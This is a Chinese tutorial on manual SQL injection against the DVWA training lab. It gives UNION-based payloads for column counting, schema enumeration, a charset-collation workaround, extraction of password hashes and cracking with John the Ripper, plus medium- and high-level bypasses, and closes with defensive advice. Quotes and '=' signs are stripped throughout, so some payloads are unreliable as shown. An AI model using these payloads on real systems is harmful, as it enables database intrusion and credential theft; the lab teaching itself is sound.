
DVWA 1.10 SQL注入实战7步手工注入流程与字符集编码绕过在网络安全领域SQL注入始终是最常见且危害巨大的漏洞之一。DVWADamn Vulnerable Web Application作为一款专为安全测试设计的靶机环境其SQL注入模块为学习者提供了绝佳的实践平台。本文将深入剖析DVWA 1.10版本中的SQL注入漏洞从基础原理到高级绕过技巧呈现一套完整的7步手工注入流程并重点解决实战中遇到的字符集编码问题。1. 环境准备与注入基础搭建DVWA环境是实践的第一步。推荐使用PHPStudy集成环境它预装了Apache、PHP和MySQL只需简单配置即可运行# 下载DVWA并解压到PHPStudy的WWW目录 wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /phpstudy_pro/WWW/配置数据库连接时需修改config/config.inc.php文件$_DVWA[db_user] root; $_DVWA[db_password] root; $_DVWA[db_port] 3306;SQL注入的本质是应用程序未对用户输入进行充分过滤导致攻击者能够操纵原始SQL查询。在DVWA的Low安全级别下典型的漏洞代码如下$query SELECT first_name, last_name FROM users WHERE user_id $id;这种直接将用户输入拼接到SQL语句中的做法为注入攻击打开了大门。2. 注入类型判断与基础探测手工注入的第一步是确定注入点的类型。通过输入特定测试字符串观察系统反应测试输入预期反应结论1语法错误可能存在字符型注入1 AND 11正常返回确认字符型注入1 AND 12无结果返回进一步验证当输入1 AND 11时实际执行的SQL语句变为SELECT first_name, last_name FROM users WHERE user_id 1 AND 11这个永真条件会导致查询返回所有符合条件的记录是典型的注入验证手法。3. 字段数探测与回显定位确定注入类型后下一步是探测查询返回的字段数。使用ORDER BY子句逐步测试1 ORDER BY 1# -- 正常 1 ORDER BY 2# -- 正常 1 ORDER BY 3# -- 报错当ORDER BY 3引发错误时表明原始查询只返回2个字段。接着使用UNION联合查询确定回显位置1 UNION SELECT 1,2#这个查询会将数字1和2作为额外记录返回通过页面显示可以确定哪个字段用于输出。4. 数据库信息收集掌握基础信息后可以提取数据库的元数据-- 获取当前数据库名和用户 1 UNION SELECT database(),user()# -- 获取数据库版本和操作系统 1 UNION SELECT version(),version_compile_os#在DVWA环境中这些查询通常会返回数据库名dvwa用户名rootlocalhost版本5.7.26操作系统Win645. 表结构枚举与编码问题解决接下来枚举数据库中的表结构时常会遇到字符集编码问题。DVWA中典型的错误是Illegal mix of collations for operation UNION这是因为information_schema中的元数据使用utf8编码而DVWA的某些字段使用big5编码。有两种解决方案方案一使用CONVERT函数转换编码1 UNION SELECT CONVERT(table_name USING big5), CONVERT(table_schema USING big5) FROM information_schema.tables WHERE table_schemadvwa#方案二直接修改表字段编码ALTER TABLE users MODIFY user VARCHAR(15) CHARACTER SET utf8; ALTER TABLE users MODIFY password VARCHAR(50) CHARACTER SET utf8;通过以上方法可以成功获取dvwa数据库中的表列表users和guestbook以及各表的字段结构。6. 关键数据提取技巧获取表结构后重点目标是提取敏感信息。对于users表关键的字段是user和password1 UNION SELECT CONVERT(user USING big5), CONVERT(password USING big5) FROM users#返回的密码通常是MD5哈希值如5f4dcc3b5aa765d61d8327deb882cf99对应明文password。可以使用在线工具或John the Ripper进行破解john --formatraw-md5 hashes.txt7. 高级防御绕过技术随着安全级别提升DVWA会引入更多防御措施。在中级(Medium)级别中代码使用了mysqli_real_escape_string()进行转义$id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id); $query SELECT first_name, last_name FROM users WHERE user_id $id;此时数字型注入仍然有效因为转义函数对数字不起作用1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema0x64767761#这里使用十六进制0x64767761dvwa的十六进制表示绕过单引号过滤。在高级(High)级别中DVWA采用了LIMIT 1和分离的输入页面但通过注释符仍可绕过1 UNION SELECT user,password FROM users#防御建议与最佳实践为防止SQL注入开发者应采取以下措施参数化查询使用预处理语句$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);最小权限原则数据库用户只赋予必要权限输入验证严格限制输入格式if (!is_numeric($id)) { die(Invalid input); }错误处理避免显示详细错误信息通过DVWA的实践我们不仅掌握了SQL注入的技术细节更重要的是理解了安全开发的思维方式。这种攻防对抗的视角正是网络安全领域最宝贵的资产。